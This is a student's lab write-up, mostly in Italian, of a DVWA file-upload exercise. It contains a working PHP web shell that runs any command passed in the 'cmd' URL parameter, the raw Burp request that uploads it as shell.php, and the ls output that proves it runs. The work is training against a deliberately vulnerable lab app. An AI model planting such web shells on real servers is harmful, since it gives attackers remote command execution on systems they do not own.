

# Esercizio S6-L1

## Script Security

Security Level is currently **low**.

You can set the security level to low, medium or high.

The security level changes the vulnerability level of DVWA.

low



Submit

Security level set to low

GNU nano 7.2

```
<?php
if (isset($_GET['cmd']))
{
    $cmd = $_GET['cmd'];
    echo '<pre>';
    $result = shell_exec($cmd);
    echo $result;
    echo '<pre>';
}
?>
```

114	http://192.168.49.101	GET	/dvwa/security.php		200	4416	HTML	php	Damn Vulnerable Web Ap...	192.168.49.101	
116	http://192.168.49.101	POST	/dvwa/security.php	✓	302	389	HTML	php	Damn Vulnerable Web Ap...	192.168.49.101	security=low
117	http://192.168.49.101	GET	/dvwa/security.php		200	4497	HTML	php	Damn Vulnerable Web Ap...	192.168.49.101	
118	http://192.168.49.101	GET	/dvwa/vulnerabilities/upload/		200	4826	HTML		Damn Vulnerable Web Ap...	192.168.49.101	
121	http://192.168.49.101	POST	/dvwa/vulnerabilities/upload/	✓	200	4891	HTML		Damn Vulnerable Web Ap...	192.168.49.101	

### Request

Pretty Raw Hex

```
1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1 \r \n
2 Host: 192.168.49.101 \r \n
3 Content-Length: 533 \r \n
4 Cache-Control: max-age=0 \r \n
5 Upgrade-Insecure-Requests: 1 \r \n
6 Origin: http://192.168.49.101 \r \n
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysq3HJKftWSR4IQTr \r \n
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36 \r \n
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 \r \n
10 Referer: http://192.168.49.101/dvwa/vulnerabilities/upload/ \r \n
11 Accept-Encoding: gzip, deflate, br \r \n
12 Accept-Language: en-US,en;q=0.9 \r \n
13 Cookie: security=low; PHPSESSID=5aea860385e095a9f54a4a8e5ae94d42 \r \n
14 Connection: close \r \n
15 \r \n
16 -----WebKitFormBoundarysq3HJKftWSR4IQTr \r \n
17 Content-Disposition: form-data; name="MAX_FILE_SIZE" \r \n
18 \r \n
19 100000 \r \n
20 -----WebKitFormBoundarysq3HJKftWSR4IQTr \r \n
21 Content-Disposition: form-data; name="uploaded"; filename="shell.php" \r \n
22 Content-Type: application/x-php \r \n
23 \r \n
24 <?php \r \n
25 if (isset($_GET['cmd'])) \r \n
26 { \r \n
27     $cmd = $_GET['cmd']; \r \n
28     echo '<pre>'; \r \n
29     $result = shell_exec($cmd); \r \n
30     echo $result; \r \n
31     echo '<pre>'; \r \n
32 } \r \n
33 ?> \r \n
34 \r \n
35 -----WebKitFormBoundarysq3HJKftWSR4IQTr \r \n
36 Content-Disposition: form-data; name="Upload" \r \n
37 \r \n
38 Upload \r \n
39 -----WebKitFormBoundarysq3HJKftWSR4IQTr-- \r \n
40
```

# Esercizio S6-L1

Come possiamo osservare dalle immagini elencate, abbiamo impostato il livello di sicurezza su “low” per far sì che i metodi di PUT siano funzionanti.

Dopodichè siamo passati a creare una shell.php ed abbiamo eseguito l’upload tramite il metodo POST.

In risposta il server ha restituito che il file è stato correttamente aggiunto alla directory e per testare abbiamo fatto una richiesta sul browser nell’url e come si può notare, l’output risulta essere esatto.

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Date: Mon, 26 Feb 2024 14:51:49 GMT
3 Server: Apache/2.2.8 (Ubuntu) DAV/2
4 X-Powered-By: PHP/5.2.4-2ubuntu5.10
5 Pragma: no-cache
6 Cache-Control: no-cache, must-revalidate
7 Expires: Tue, 23 Jun 2009 12:00:00 GMT
8 Content-Length: 4581
9 Connection: close
10 Content-Type: text/html; charset=utf-8
11
12
13 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
14
15 <html xmlns="http://www.w3.org/1999/xhtml">
16
17 <head>
18 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
19
20 <title>
21   Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Upload
22 </title>
23
24 <link rel="stylesheet" type="text/css" href="../../../dvwa/css/main.css" />
25
26 <link rel="icon" type="image/ico" href="../../../favicon.ico" />
27
28 <script type="text/javascript" src="../../../dvwa/js/dvwaPage.js">
29 </script>
30
31 </head>
32
33 <body class="home">
34 <div id="container">
35
36 <div id="header">
37
38 
39
40 </div>
```

← → ↻ ⚠ Not secure 192.168.49.101/dvwa/hackable/uploads/shell.php?cmd=ls

dvwa\_email.png  
shell.php